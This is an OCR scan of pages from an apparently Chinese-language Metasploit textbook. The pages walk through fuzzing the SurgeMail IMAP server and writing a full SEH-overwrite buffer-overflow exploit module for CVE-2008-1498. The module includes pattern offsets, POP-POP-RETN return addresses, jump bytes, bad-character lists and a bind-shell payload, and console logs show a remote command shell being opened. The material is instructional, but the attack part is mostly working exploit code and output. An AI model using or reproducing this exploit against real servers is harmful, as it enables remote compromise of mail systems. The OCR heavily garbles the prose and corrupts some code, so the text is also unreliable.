WEEAZREE, ZRFANRSEEEREREERTT UM stp/Svww.exploit-db.comlexploits/5259/
KH R, XANNARAXTEKE LIST @4 4B ASFERTE, Tl SHMEEE H I FB S
F Al LLm B RATME.



Metasploit #$iE:Ni# 5

B AFERGCELBASFERBTL, HAFEEAFREHLE Fo—L¥ARE,
B EeRARESE, wRGEEE B, BT ESE N XA ERM I
( hitp:/fwww.exploit-db.com/) F &£ F|—ik i corelancQd3r HEF &4 F M E 5L, £V REH
i B E AL R —a: RARE S (htp//www.exploit-db.com/download_pdf/135
35/, ¥ FARHAEF E % hip:/bbs.pediy.com/showthread.php?p=7130354post713035 ) A=
“CEENRALG B AL R Z#5: SEH” (http// www.exploit-db.com/download pdf/13537/, F X
4% ik B & E 835 hitp://bbs.pediy.com/showthread.php?t=102040).

14.1 Fuzz MBI Z K

ERFEAENFBEAEZAN, AHFERANE—TNMNARGPESEFEESLE2RMA, X1
T EFH Fuzz PR

THERT —TRAK IMAP il Fuzz W38 AERH, R LU H R ERD
froot!. msf3/modules/auxiliary/fuzzers/H R T, {AFEF AN ERIRATAHAEIRHA Metasploit 1) E
TR 2R,

require ‘msf/core’
¢lass Metasploitl < Msf::Auxiliary
Oinclude Msf::Exploit::Remote::Imap
®include Msf::Auxiliary::Dos
def initialize

super{
"Name * =y "Simple IMAP Fuzzer',
'Descriptien’ => ¥q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this
fuzzer. },
*Author’ => [ ‘ryujin’ ],
‘License’ =>» MSF_LICENSE,
'Version' => '$Revision: 1 §'
)

end
det fuzz str{)
©return Rex::Text.rand text alphanumeric{rand(1024))
end
def Tun{)
srand(0)
while {true)
Oconnected = connect login()
if not connected
print_status{"Host is mot responding - this is GooD ;)“)
break
end
print_status(“"Generating fuzzed data...”}
@fuzzed = fuzz_stx() |
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
@req = 0002 LIST () "/" + fuzzed + '" "PWNED"' + “"\r\n"
print status(req)
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¥14 T fIRFACHEERTRR

res = raw send recv(req)
if 1res.nil?
print_status{res)

else
print_status("Sexrver crashed, no response”)
break
end
disconnect()

end
end
end

XA Fuzz PRASHRRAAE TG 3 (AT IMAPOR DoS 4@, 5| IMAP ] LLiLARAE
HERERTEE, TWHTED Fuzz XS B HA LRSS RABR, FTURX RIS SBIES
Ak 5% .

Fuzz MRAFAT# (RITERLLG RS M A8 SREIBXKEN 1024 FHH—
THAENHFHRAEYLEO, RS Fuz LB ERFSFRITHES LS, DRER
ALEWE, RARFHELER T, ZMEARTFERE—SHEANRET, REWAFW A
BEEWBIRCERIISH TRERSHEN—IRE,

Fuzzed ZBARIR T Metasploit HEZERT =4 HBIBEAIAL TR O, RIGH M EERIFER
LIST &g - -MEBRIERO, AR ELEEMRSE, WE Fuzz B4 36 WK 8 R
FimIm R, CHFATEDE “Server crashed, no response” B BEIBH.

AT AR S X/ TR Fuzz WA8%, WA 30 MSF &3, xR, HoTil
B B T

msf > use auxiliary/fuzzers/imap_fuzz
mst auxiliary{imap fuzz) > show options

Module options:

Mamne Current Setting Required Description

IMAPPASS no The password for the specified username
IMAPUSER no The username to authenticate as

RHOST yes The target address

RPORT 143 yEes The target port

ms¥ auxiliary(imap fuzz) > set IMAPPASS test
IMAPPASS =» test

msf auxiliary(imap_fuzz} > set IMAPUSER test
IMAPUSER =» test

ms¥ auxiliary(imap fuzz} > set RHOST 192.168.1.155
RHOST => 192.16%.1.155

msf auxiliary(imap_fuzz) »
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Metasploit i 5%RiR 8 i

XN Fuzz B CLWMEGFEITT., HHEEZEARMEENRAS (HMNEXEMEH
Immunity Debugger) HH{ B surgemail exe B2 L, RIGIZFT Fuzz #idd%:

msf auxiliary{imap fuzz) > run

[*] Authenticating as test with password test...

[*#] Generating fuzzed data...

[*¥1 Sending fuzzed data, buffer length = 684

[*] 000z LIST () "/v1AD7DR)TVykXGYYME6BmnXuYR1ZNIIUZ()zFPvAS J¥xzdTTOngBISe fKOX ] Ly3ciAAk1FmoD
RPEpq6f4BBnp5 jm3LuShAQj IM5qULEGEvODMKk000PU j6XPNLVWxFpjAfFeAxykiwdDiqNwnVIAKYT6X7C51ie7
DSujURybOpEBkKWraLCzQg 2AmTugz48oNeY9  DeirhwaI TH1al400590gEDL LBWNS L L4QYdIVUZ085219Thogk?
75UV FNRAYPpSo2P Lmvds B+ 2sYoYDSvDgMmWoFXrgloUK 2r 19cvoCbTZX1zul1dl ind IpXDuaysDEIKbtHngVh
siiYhFokAL1iF10QI9BRwW]jaboOkwZDn8 jyedxhSRAUCF1Ms14CvbVnnLWeRGHSCr TxpduVIZ ygblcrRpbAWdgke
YoDzIabd7uXgTIHXN6R40IALCkZgqOWCUSEW 6 THIINFAIPP1LENCtaKOuxbz pSlize 163885t XBlGgive70a
8j6xqIsNSGmnINAHQAWAPZ T JORHUZCBQ4 yiXYEksxXe2ZUhl 5Xbdhz13zW2Hpx ] 2AT 4k RUIWDgBUK EQwvKt pe b
r fUGI8bwj TMSxK ihTDMk 6BxAnYbk JFCDi508hcEagat zJ1FhHS e I2UHOVD S DmUHT fFAFbre ITHV1cIrwAozmZKz
i7XgTalgzGh™ "PWNED"

@ {*] coo2 OK LIST completed
- = « SNIP ., . .

[*] Authenticating as test with password test...

[*] Geperating fuzzed data...

[*] Sending fuzzed data, buffer length = 1007

[*] 0002 LIST () "/FzwljlcL16vWAPXDPplbpsHBAp7XtsofbalYjRIASXRqbZNOMZprZfVZHT7BYvcHUWINOYY
yfolrlyobzOqosc 1eTeRgrDOKASMDDLbmYSWCQOXOHOWK ja4c 91 FPjIgTnd secWBz1xLMX1Vdsut JEtnceHvhl
GaeetDjh7vioINat X)MMxe SuR2NgB1 Kol bH1BVTREGUFqWCmQ097083gReFoikinKdWdcE6ivbOHEL AT YkFYZZ
06Q5dvzas80Vhn8sqSnRAmqIULcUGUvI6T99P01TZ5t 1016061 2B03TBGDFUyOdNMIOELANKZG60NCNn3ZK1ILES
IMCBPZy0frCiPBgZ4xn0blAJFTHSLSCjIFulSeZ9Ll saXdek7ii0hEmweDBEMATYE951a7RALYDRCLIH]pwMsEE
5LS1wIVOaFPSEROWIADTFAD0S el FUyfb3hy3VoBAKK I doyusMf jwflExandvelldk8c5bhlyqoDp3Ux2C10P2
os0KpFoloxmq8ROE3R15415Y130PcNTU20Kb1CEATBhxGFgh1oMz j JpuM7 IbHMIZNjVADz6AObyzZEiP2pXaTim
OloVoubFwallesRE0LOPRgIMYMWTMX TUdIE 7 r0juCmkdgglPTkZ3nqde1 FEaLhEXh¥ gSNSPZUXOM7gmUiyNYve
qti30my8qvjI0QuilIhUhfsFKOUNKIcBSZW7quznxViGF ZRShXVTwlv1eMiSTOWGBZDF 106q6B4530NT FLyXX
aQpAURyCoDGd joxk LvIUPGUs F314€ IF 24 qyyekWiQ7GuYewMax 3002 XB2d]Fh2dYEGyBSCHaFhpwilgamT hinnM
AsDFuEY9HqUOQSmZ6 ySuni fPFjCbDs4Z ooquwlHPaVnbNVo9 7t fVBYSe i 3aWCUMWUIAPY IV TGoDNRVar Orgsq
wbzivBaQaPZ 7Y8r0SUiB1nNh1h13UCVZpfBGekopsIETT4ks356q0I3mlZkyCLkznVVaayetvgalm”™ “PWNED"

@ [*] Server crashed, no respohse
{*] suxiliary module execution completed
msf avxiliary(imap_fuzz) >

GEHHE RSP, vJLUF S Fuzz BERERA TR TREH IMAP BE WO, HERT
BEMAAZE RO, MERAEFHEEERREEMS MO, BRImMNHERHEO. E
Fuzz J R BEEFWREMEN, REBFH—NMENREROSHRFERO, XARES RN
BHERFERREHTHE.

IXBTE Windows | ERrEREDIARES, MiZF DEFREBRCLTERFEER R A LE
2T, mE 14-1 For. BREFRSE, RSEIRXMMECETEMAGFHIEERS, FERR,
ERERIFRTH R0 B IF SCil W B di i . it —HBMAEMRNKER, RE
R ERE—NMEFR 11,000 P KERNFAS)E, ATLl@ RS L EE (SEHD. &
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148 GRRECSHBETHER

LL¥H) SEH o] BRI BB E R, FibeEAEA. B, /-4 NAEEF DLL
o {38 EIHE BT Lk 4R e RS AL 8 F T A R ROBRTE R G A

~ Immunity Debugper - surgemail.exe - [CPU - thread 00000294, module surgemai] [-D {X:
Flg Yiew Osbug Plugns Inmibb Opbors Window Help  Jobs

A e - b PTERYTL &

P . B

A 14-1 IBIAREHRAER

RIE— 11,000 FHRENFFH, BIIAFELE Fuzz IHASSFEEHHET — K ADRBE
T AR

print_status("Generating fuzzed data...")
fuzzed = "A" * 11000 ]
print_status{"Sending fuzzed data, buffer length = ¥d" ¥ fuzzed.length)
req = '0002 LIST () "/" + fuzzed + '" "PWNED"" + "Ar\n®

XEBAE I RAMAT MRS B, MRERKET 11,000 MFHF A KAEEREIFNK.

14.2 EHIGEHRLREALEE

WRREF RS surgemail %, EFHRREFHMLE, FHRIEBTT Puzz #AE, R
PLE BiE R SS P Fuzz R BEE S . WRIFMEH KR Immunity Debugger, #5771 LLIERE View ->
SEH Chain SERIR EE SEH #NAR, HRASHE, NiKE 41414141, RIRIEFE “Follow
address in stack”, PJUIZEE 14-2 FiREA TEPERHIFE SEH A BEMERAE.
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Metasploit i % Rl id & %

"lL" [II F:[ FTFr E [E[I]
1

g --]-'_'T"‘_'!_""_'W"

AT It a iAo

K 142 HELR SEH#&%HB

WELMIE T AT LA ik — MEKF R 8, R A R surgemail MR 55312 SEH
B, BUERFHMRAHEL HiFRE L HT SEH BRI R ERNEFXERKET, nRFEoH
B BB BT R @, R MRES L2 BT, R SRS IR R R
L LA

BT Fuzz PHABREAE, SRU—MIEKEAENFHATASERENBEILL AR
£, WTFHw:

print_status("Generating fuzzed data...”)
fuzzed = Rex::Text.pattern_create(11000)
print_status{"Sending fuzzed data, buffer length - %d" ¥ fuzzed.length)
req = "0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

EXBEAAAG, ATFEA T Rex:Text.pattern_create 7F Fuzz MEBHPEXRT — I SEE

RIBEHLIL R . IRTEEFIZIT Fuzz WikdE, SR E/R SEH #REQEN “684E33687 (T -

PREVEITHRIRATRER F1 50 SREHLED . W 143 Bior.

-—lt SEimead Hh = S hter To pewt St H o oreECor
o _1E___'.:jf Hh E Fizndier
-t AE -4 4T11_I

E.’rr__-‘rE_ HH e

] 14-3 SEH ¥ BEXE AT S
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¥14F fRIRECHBENTER

EFFARNBI L E S SEH 2J5, o] LR H1E/optmetasploit3/msf3/toocls/BR {2 T H
pattern_offsetrb BEFERBH I EESEENNE, RBEHRXTEN TR (684E3368) FIKM
BirZRFEFHCTE (110000 1E A8 %E4S pattern_offset FEATLAT , W0F B

root@bt:~/.msf3/modules/auxiliary/fuzzerstt fopt/metasploit3/msf3/tonls/pattern_offset.rb
6B4E3368 11000
10360

R PIEER 10,360 /@ | SEH RN FN 0 MRE 10,361-10,364 0 E, MAERMATLL
B J5 — IR ES Fuzz TR A0S, REIEEMM KA.

print status{"Generating fuzzed data...")
fuzzed = "\x41" * 10360 fuzzed << "\x42" * 4 fuzzed << "\x43" * 636
print status{"Sending fuzzed data, buffer length = %d" ¥ fuzzed, length)

I LAE 2], Fuzz @A B—MEEIFER, K 10,360 M5 4 (HonidthliE 470 A,
AR 4 MNFHRER B (HRHHE 42) kB & SEH, A5k 636 11 C (T idH 43)
REARFFHF PR KELLE 11,000 29,

R B EREHLE T Fuzz A 8%, WHE 144 BoR, B4 SEHHEES S THRMNERZ
F7T.

= Immunity Debuppges - surpemail.exe - {CPU - thread 00000838, moduie surpemai] EFEFE
Fla WYew Cobug Plogins Immlb Octions Window Help  Jobs
. .
THORD PTR DS: [EDI]

ICH o AR il !

[- k[ =7F [

& 14-4 5c4iH SEH
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Metaspioit #% HiA & 55

14.3 %33 SEH IR

ESEHMBRBRAZE, EREAHRET TRMZTREME Shellcode. BHREFM T, &
& —4# POP-POP-RETN 154 ¥ILF T —4 SEH & (NSEH). RE#Eid—Ebi¥ies
(short jump) FEAE] Shellcode . RNTERE T KBTI, ¥ BEA T E/EANRES,
AT R B 22 i T e T R AL Rl EK M2 ) . EXAEHE, BAIDETR T A REN Fuzz §liK
T, HFHANEDERNTEIEX MRFEFH RiBES R BL.

XABEN RGN T FEFH ege hunter B R MR H PR, BT —/ D
{5 shellcode MATFF FH AT HBERATE. AR, BNIEXEHER—AFRRSAR SRR
ifi, B POP-POP-RETN 184164 KB SEH, HEZE., BIISMM— M HEER PESHR
JG Bk (short jump), BT RBAVRAE BTGB IRE B A2 E R MIT — KB —EL NOP
T¥5% H shellcode B BER (near jump). BRANZLER, HE—B NOP THRSBEM- K
BERGERUEFTRA, RAETITUSFEREEANFPEPRAEREIH—BREBREES
8], MiXt NOP 54 AR ASERER AR, AmEHEIER. BERAET.
XX BT E T AR T

[— B BB P X FENOP 22354 4T X|Shellcode 3T Bi ¥ | Bk #{POP-POP-RETN]

A THRIEBERBEDRFM A Windows RE0E K8 A, BOITELA - -MYFHEFM DLL
T AP RIR AL, FXAREP, RENBEFEARITCHERTHLN,. ATUAR
AT BAM swrgemail exe CREAR 2R — A POP-POP-RETN 184175k B i SEH, XHHiEE
FACRR A LLUE AT AREE Windows RFEMEET .

i RIMIBERE SurgeMail FHFMERFBENE, THERITERSTHNEEITERE
IR E S, RFE/ ool msf3/ modules/exploits/windows/imap/H ¥ .

require 'msf/core’
class Metasploit3y < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap

def initialize(info = {})
super{update_info{info,
"Name * => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Qwverflow’,
"Description’ => X
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command, Valid IMAP
account credentials are required.

}s

"Author’ =» [ 'ryujin’' ],
"Licepse’ =y MSF _LICENSE,
‘Yersion' =» '$Revision: 1 %',
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148 DR E ORISR

'‘References’ =)

[
[ 'BID', '28260° ],
[ *CVE', '2008-1498' ],

15
'Privileged’ =» talse,
'‘DefaultOptions” =>

{

"EXITFUNC' => 'thread’,

I,
"Payload’ =>

{

O 'Space’ => 10351,
'DisableNops' => true,
'BadChars’ => "\x00”

b
'Platform’ = 'win',
'Targets' =>

[
®[ "Windows Universal', { 'Ret' => OxDEADBEEF } ), # p/p/x TBD

1,

‘DisclosureDate’ =» "March 13 2008°,
‘DefaultTarget’ => 0})
end

def exploit
®conpected = connect_login
Dlead = "\x41" * 10360
®evi]l = lead + "Wwa3" * 4
print_status{ " Sending payload”)
®sploit = '0002 LIST () "/° + evil « '" "PWNED"' + "\r\n"
@sock.put{spleit)
handler
disconnect
end

&

K] ‘Space” ORIGHEREN shellcode Brift RN FZE AR /D, XA HERBI TR
RPRIFFEEER, FABEERE T Measploit PRI e H T iX Mg SRk,
—ERHEA TREABOTEES - HyAFER, BRERESmAETHXAE. Bdid
HHAPHRERK, HRESSHEXT KeENBRE, NRFAFERE MRERBNIEER
wRIKAD, TTRMEA info fir-& R LA AT KRR, WTF PR, AT Total size {8 3 512
s K

mst > info payload/windows/shell bind tcp

Mame: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell bind tcp
Version: 8642
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Metasploit ;#i&MiX4E /M

Flatform: Windows
Arch: xB&
Needs Admin: No

Total size: 341
Rank: Normal

7E Targets PP return_address®@ I EIH A FIE R — D S5, BAOSEBTIBERB T
R HTE .

NFIE Fuzz WABESPIT R — R, XM 2EAMETLETFEEENER I BAFRSE
1@, FHR—KBEFH 4 REAVREFXO, R5HEM4 NFH CRERE SEHO, EEIN
BBIEAFNNO, BRoREHHHERAS.

14.4 ZRELR O] d it

F—H 8 2-1E surgemail exe P ESL - POP-POP-RETN 154 5%, 4R0] PLBLIX A — i3t il
Fr 82 124K Back|Track Biiidl L, RS H msfpescan THREGIFZRT-p L T0 R MFEE 3R H —
M FERMREMAE, W s

root®@bt:/tmp# msfpescan -p surgemail.exe

[surgemail.exe]

0x0042e947 pop esi; pop ebp; ret
0x0042188b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x0046754d pop esi; pop ebp; ret
Ox00467578 pop esi; pop ebp; ret
Ox0046d204 pop eax; pop ebp; ret

. SNIP . . .

Ox007B506e pop ebx; pop ebp; ret
Ox00785105 pop ecx; pop ebx; ret
Ox0078517e pop esi; pop ebx; ret

SR A msfpescan it Hbr Z RIS ETRER, ERIZINETES IS RMUFS
HirES A (XANMRFIDPE POP-POP-RETN) B)iE4Hit, MWERPRITLUET), BRAT
BNMAR A BOTERRPIMER Mk, LIRS0 00078517, BIKAES BTG
W SEH. WERFEZS, RITBENHEERMAMPE ‘Target” HiHTHOCRASIXAR D]
Hahl, 7 exploit Frbig HIAE AWERFZ XY, WFFR:
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148 DRIFACHBEDNTRR

'Platform’ =y 'win',
'Targets’ =3
[

®[ 'Windows Universal’, { 'Ret’ =» "\x7e\x51\x78" } ], # p/p/r in surgemail.exe
I
'DisclosureDate' => 'March 13 2008°,
'DefaultTarget’ =» 0))
eng

def exploit
connected = connect login
lead = "\x41" * 10360
®ecvil = lead + [target.ret].pack("A3")
print status("Sending payload")
sploit = '0002 LIST {} "/' + evil + '" "PWNED"' + "\rin"

A TH SEH #HT="TFWHRIB &R, RIERMA Target” KPHEMNXORE KT
YRR E AL, M BEF RRATRE. (FWHFREBERREZ CPU A REHKR
MBI ER. Intel AR CPU hEBHRAFHKFTFHD .

BAT A evil FRFBFHE = PNER C Bk Y[targetret].pack("A3M®, LRI ‘Target’ X
7 B BR [P R R M A X B B AR R L. JIRRE RGN R =21 & &5 {1 Hig & LB,
REENFGREHE ik (XNRFIP R 000078517¢), T Metasploit H < ZE 4R { 8
[target.ret] pack(' VYIS B 3077 HE4T IEWHEE T . EX MRS, FEEERERRER, EX
BRI AR M TFH, CrREETAEREHER, TTHBRERHETEEYE T,

AR MBIFHNFCRBTRRB B AHREL. RAANERFEEIET . MBRFREFRE
FHACHO N — A BL SRR ST HTIR, BEEETTRERSMTEH THEIR, REER
JRRRAN R ERA KB A ek R . WTETiRBR R,

mst > use exploit/windows/imap/surgemail book
msf exploit{surgemail book) > set IMAPPASS test
IMAFPASS => test
msf exploit(surgemail book) > set IMAPUSER test
IMAFUSER => test
msf exploit(surgemail book) > set RHOST 192.168,1,155
RHOST =» 192.168.1.155
O msf exploit(surgemail book) > set PAYLOAD generic/debug trap
PAYLOAD => generic/debug trap
msf exploit(surgemail book) > exploit

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
mst exploit({surgemail book} >
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Metasploit 1% 0 &

LA 1E H i B AT R generic/debug trap®, XHARE -PMEHIERIEHA, TTREREX
ERWXCC (FHES) . RITBERLHLSPTRENNERR, XN FHERERELE
1T F2 ' shellcode R EREH AR ESRME LEIEFHAKN.

e TS BN HIBE ., §TH Immunity Debugger, M 14-5 FioR, 7B EEEE View >
SEH Chain 5T, T F2 @R E — MR, REHK SHIFT-FO AA4EIE R ¥ 4RGN AR
3t A B POP-POP-RETN 154 5%,

&, SagiSBt, & F7 @iATR SRS, B SRBEUEALE NSEH PESH)
41414141 ¥8% .

B 14-5 A POP-POP-RETN 4 5%
ME, RBAFNRELEE S HRBIT M EHERENES,. WTFHR:

def exploit

connected = connect_login

OIecad = "\x41" * 10356

®nseh = "\xeb\xfo\x30\x90"
evil = lead + nseh + [target.ret],pack{"A3"™)
print status("Sending paylocad")
sploit = 0002 LIST () /' + evil + '" "PWNED"" + "\r\n"
sock.put{sploit)
handlex
disconnect

end
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E14E HE{FACHFEILIRR

R B FRFZEAEN, —EERHHETGEEHMXKEO, 606K E LR 38
M7 . EIEANEHTD, NSEH SHEEH PMREALNTIRIERFEES (xeb®x90w90)
O, I eb N MRIERD. FRWHEMRKER RN 10356 7. BEABRAIE SEH
EERRHHEZAIDAT 4 T FRF .

NFBFIZITHERBHERILEEREESN, FEEABERTLHEMI Y Gr0T—H
41 CHARHEFIR A) F, MU INC ECX IS MiZ A B IRS AR, FEBEFHITHE
PR BRI

RERNMESEEAE, Q88 —PMEMERSTFS ((xePxddxd7wlxff), M 5Bk
FRHMB P ABAE, FE 14-6 FIRNSEMRHR, BIITLLERRE 4 FHEEAR
FrPX R TEELY, ZXARMNE shellcode G THEIT 10,000 FH MM, RFa AR
shellcode P FHTE R FEAB 500 71, XAE KT R EEiEFEA L LT/
¥ shellcode

* Immunity Debugger - surpemail.exe - [CPU  thread 00K0814]
Fla WVew Debhug Puging lemlb Options  Window Help  Jobs

& 14-6 4 shellcode IR KB FZA]

MEIRAAE MY S HEFERES el AREMETK BB~ NOP (x90) <4\ 1T
X, BeWbBEAMAT, RSHEEM shellcode BT BLSE 22545 Metasploit RIEE T .

def exploit
connected = connect_login
@lead = "\xg0" * (10351 - payload.encoded.length)
®@near = "\xed\xdd\xd7\xfH\xff
nseh = "wxeb\xfo\x90\xa0"
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Metasploit #iE R i 5 R

®cvil = lead + payload.encoded + near + nseh + [target.ret].pack{"A3")
print status("Sending payload”}
sploit = 0002 LIST () “/' + evil + '" "PWNED"" + "\r\n"
sock.put(sploit)
handlar
disconnect
end

TE LR AL, IR LB RINEANE —KETRHFAWNBRENX CEHRAT
NOP 254 M i Metasploit B4 e shellcode®. HEEEMRAEMERIN 10,356 TR T
10,351 21, LIBRANIIHEESO. 5, HHMFREBRENTRNTREOKXMEH RN “AF
T EFH,

- BEBITUERE - EENBGHER, RARTEXTE2EBRERN, EEERE T T4
FIRER, BERGIEEREHIRFUNENELSE. BBIHRRDEERRBSE I RN
T B8R, HEEHLRNEE shell, &RIMTFHR:

mst exploit(surgemail book} > set payload windows/shell_bind_tcp
payload => windows/shell bind tcp

mst exploit(surgemail book) » exploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sendinrg payload

[*] Exploit completed, but no session was created.
mst exploit(surgemail book} »

14.5 IRFAHFMTEREBRIT

T, RATEAR T —PREFRABIMGER: 2BUWAEERT, HRFURATEES
e WRGETRRBBITRAE REeRHBEFRRSEZRFAB—BEREETHAR?
Wiz FHrEIEF EARSRE, EERBASAHMK “FFHFHT". — 25, FEERH
E MRGHEEARPHART S EREDHIRERG, SEEETFERNEEEN AL, 7 E
B4 B R X R E AL ik R B shellcode ¥ ARNTHE, M ik BB TR .

B, SRR E — Metasploit iFFER AR, HRAIMBEFINSTE RS2, B
% Metasploit EH T ERBER TR FERE shellecode EFER, MAATRMNEITERBESK
KB EBEATERNT . FERERT, WRFERBREFEHRER. BIENARF
WE BB AT shellcode FIFHN TREUMHM. BRENEHME FH, SurgeMail RREFRHM, &
ERE A AR RE, HRNAEFHITESE.

R EFHSM S, BIEFIESER shellcode BHh—-MHESEFLE (W00
x01\02... ) Fr TR, REANAFAEEEREHBNNZR,. HBEEIRARES.
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F148E ¢EEBCHSEIEL

IR, BeRAT iR R M LIRBE RS  RIREEFFF. BPIRR, 8% IMAP W g
FECHE, BRI W00\X09% x02\x0bx0c\x0dx200x2c\x3a\x 40\ 7b #R ¥ 9% T IR ERF, W TFHFI=.

"Privileged’ =» false,
'‘Defaul tOptions’ =>
{
"EXITFUNC' =» "thread',
I
"Payload’ =
{
"Space’ =» 10351,
‘DisableNops’ => true,
"BadChars’ = "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7h"
b
'Platform’ =» 'win',
‘Targets’ =>

LRI B E BT R h A B'BadChars'f5 , Metasploit 4 F1 53 2747 1HEBR ZE Shelleode DL
Py sh& E BT BT/ B2,

ARNAHR LR LG, BREITBEYGERER, Wvir, ROES ZXRZEAPEAHE
BT —AEELE. EMEERTERATERTE, BRATHECERTHU TERN, X
% Metasploit T RIITEER TN ASNA L W Shellcode, T FRARRIEIT AR — L5 &
FIRFRHAS R EHIR.

msf exploit(surgemail book) » rexploit

[*] Started bind bandler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
mst exploit{surgemail book) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...

[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail book} > rexpleit

[*] Started bind handler
[*] Authenticating as test with password test...

[*] Sending payload
{*] Command shell session 1 opened (192.168.1,101:59501 -> 192.168.1.15%:4444)
(C) Copyright 1985-2001 Microsoft Corp.

¢:\surgemail>
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AT 1R 0 5 oAtk i [ e B YR PR — ME B . — M REOBIEFEENFRN
TR B FHE 2185 % hitp://en.wikibooks.org/wiki/Metasploit/ WritingWindows
Exploit#Dealing with badchars.

MAERMNTCHIBENRE, SERNUENAKTEREBFE, WTHR:

require ‘mst/core’

class Metasploit3 ¢ Msf::Exploit::Remote
include Msf::Exploit::Remote: :Imap

def initialize{info = {})
super(update_info(info,
'Name " => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
Cescription” = %qf
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command, Valid IMAP
account credentials are required.

I
"Author’ => [ "'nyujin' ],
'License' => MSF_LICENSE,
‘Version' =» '$Revision: 1 %',
'‘References’ =
|
[ 'BID', '28260' ],
[ 'CVE", "2008-1488" ],
[ "URL’, ‘hitp://www.exploit-db.com/exploits/5259° ],
15
'‘Privileged’ => false,
‘DefaultOptions’ =>
{
"EXITFINC' => "thread’',
bs
'‘Payload” =»
{
'Space’ => 10351,
‘Disabledops’ => true,
'BadChars’ =>  "Na00\ X090 \0b\0C W0d W 20\ 2\ x 3a\x 40\ x7h "
1
‘Platform' =» 'win',
'‘Targets® =>
[
[ "Windows Universal’, { 'Ret' => "w7e\x51\x78" } ], # p/p/r in surgemail.exe
Is

‘DisclosureDate’ => 'March 13 2008',
‘DefauliTarget' => 0))
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F14E R FECHBEREHR

det exploit
connected = connect login
lead = "\x90" * (10351 - payload.encoded. length)
near = "\xed\xdd\xd7\xFF "
nseh = “\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near # nseh + [target.ret].pack{"A3")
print_status(“Sending payload™)
sploit = '0002 LIST () /' + evil + '™ "PWNED"' + "\r\n"
sock.put(sploit)

handler
disconnect
erd
end
14.6 NG

REEZERMNHFEGTEE —2HERE, B2EMEE T AREHIZET— Fuzz £33
S — AR AR RAOSELTE. BNEABSHEENXMEERHER L LT 2y
HAFER, EHRET -MRFHES, iBNEREREEMEMRMIN, B2mirE
AU IR AR B AT %

RN T #7 Merasploit B2 777 i 2 (¥ 1 Metasploit BIYE{SH3 0 KA 8 38 My ch i th g
B, XEFERINIA e F B Metasploit 38 h P 7 Fto SR, A= N AFHATTLLY
IR Bt FF oG M IRRI TR Metasploit E RSB REBENER T 555,

HH 15 Boh, RIS ETEAEFPRNMN, FEEANNTERSHBERTEEHA
Metasploit fEAXHIEEE S, JAVE m RFEANTETESRE 5K, EQFFaEEman —
2% 3 04 6] F i) Metasploit i85 B .
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;1 =3
142 Z KX NIBEA T Metasploit HESR

HRERE AT LLERE - 82E MM AR A [ N2 Metasploit HEH P, AN
R e 244 XM Metasploit #2532, F3ETE (REFE LA E E T Metasploit 2521, RE 2
Bl Perl. Python. C/C++iEE T B Y.

L ARG BB HE B Metasploit R PR, RFEHILE AL ABEIAY, 40 Python 5%
Perl f—EiiA, 35588 7E Metasploit F{EH 8Bk, S, ERE—M2ENK
R Metasploit #2222 /5. e 0l LRI B Metasploit HEZR 3 2 0 S 380K B &0 T Bk AL £ 51
THT%, BT LIPS T e BB B B s & . 74h, REMSIFNEBARE
B RAeF S ERIEEN, UERBHETHEXRIERZEHRE, —HBMFIT Metasploit fE42
o, KEEAMTLSERL, MRS ERR AT UER MG RPHTER T .

FEW IR RS TEE MR BEAEE T Metasploit ERR D HFRE, WRIRITH
SfiBR AN TR, FEEBER LR APRE, HETEFENFEASRLZG, W
WA G TR BF FE (B Metasploit EZR T .



Metasploit 4% )i 1s B

16.1 CHRIEE &

MRAREAEEHBELZHIGE, REHFENLRESHFIRAME TR, BINEFEPRE
AABRERLHESESMGS, itRIEEERLR T REANEMMINES.

15.1.1 EIP #1 ESP F 5%

TR E CPU FRRFMAER. IITHE, URRENAHEFAZITH T HERNS.
MNBAEERNHFRR EIP (Extended Instruction Pointer) ¥ BI5 2t F 23 M ESP
( Extended Stack Pointer) ¥ Bk IEH F1F35.

EIP B PMASFNERFERSESITCET —£ESHNVE. T£FEY, K
i1% HER EIP R [ HhE, FHEEAERBIIGEE shelicode. ERBATHEHPR #E B BET,
ESP F/FaTiem iy, FHEERNHEE CENAEFEEENEHRNIFEEIES, AT
SE AR AL R . ESP W7 88 F E RS A ERATAE shellcode F) Py 7tk

1512 JMP g$ &

JIMP §5 5 S BBk 3 ESP W EHNR —XiE S, AEXASTHERRN- L rpX EH
£, FAISFEH IMP ESP 1§45 U5 WLk B8 8-5 5 A shellcode Bl ESP P f7HR
EPITRS -

16.1.3 ZTHESMTHESHAITER
— A BRI RIESENTES . ERBEBEYARMR REHE, FHFAERRER
MBREFREEPHEEEMMAE. —M2ig-4 LA S5 Vvt JEALR, “ 1RE LR,
AEBATAHE". FiRS LA AEFEAHRBRRHE— %90,
THESBITR KRB —HRESEMFIRSUM, AR shellcode REE “KEFREX" /Y
BAXERE., HEIFERHMA T IMPESP 184, RITEBE A —EZHSP, FHMFHBL
X R H 3 PJIX shellcode .

»

16.2 BHE— & X i d IE

BATTI S~ - B — A ST S PR v IR 5 B 4G, LB E 4 jump ESP 184370
Pl sE Rk B shellcode WiBkd% . X EAEAM LR “MailCarrier 2.51 SMTP EHLO/HELQ &1
X257, {8 MailCarrier 2.51 SMTP & MR KR,

R : AR T ¥R hitp://www.exploit-db.com/exploits/598/_ L 3%, 2] i A~ %1% K e 4 2. FH R 4]
o R s
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15 H FMPiEABEER Metasploit #2582

HiZR— M N Z0E8ERE, BARRERN Windows 2000 RETMIF LN .. JFEMESTIR
